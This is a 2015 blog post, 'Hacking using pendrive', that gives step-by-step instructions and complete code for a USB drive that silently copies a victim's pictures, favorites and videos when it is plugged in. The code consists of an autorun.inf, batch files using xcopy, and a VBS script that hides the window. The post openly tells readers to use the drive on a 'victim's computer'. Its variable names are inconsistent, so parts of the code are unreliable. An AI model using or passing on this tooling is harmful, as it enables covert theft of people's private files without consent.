Saturday, 22 August 2015

Hacking using pendrive

This post is only to demonstrate how a user can steal victim's data without any permission, as soon as the flash drive is attached to computer, the files starts to copy in flash drive without any notice.

Process is very simple as we have to add only 4-5 notepad files in the flash drive.
Follow the following steps :-

1. Create a notepad file with name 
autorun.inf nad copy the following code.



[autorun]
icon=drive.ico
open=launch.bat
action=Click OK to Run
shell\open\command=launch.bat
2. Create another notepad file of name file.bat and copy the following code.

@echo off
:: variables
/min
SET odrive=%odrive:~0,2%
set backupcmd=xcopy /s /c /d /e /h /i /r /y
echo off
%backupcmd% “%USERPROFILE%\pictures” “%drive%\all\My pics”
%backupcmd% “%USERPROFILE%\Favorites” “%drive%\all\Favorites”
%backupcmd% “%USERPROFILE%\videos” “%drive%\all\vids”
@echo off
cls
3. In our 3rd notepad file, copy the following code and save it as invisible.vbs


CreateObject(“Wscript.Shell”).Run “”"” & WScript.Arguments(0) & “”"”, 0, False

4. And in our last notepad file, copy this code and save the file as 
launch.bat


 wscript.exe \invisible.vbs file.bat

5. Now, copy all this 4 files in the root of  flash drive. And create a folder "all" where the content is to be copy.

6. Test this in your own computer first, before inserting this flash drive in victim's computer.


This code is writen by hacking using pendrive site click for more detail.

No comments:

Post a Comment

Search on This Blog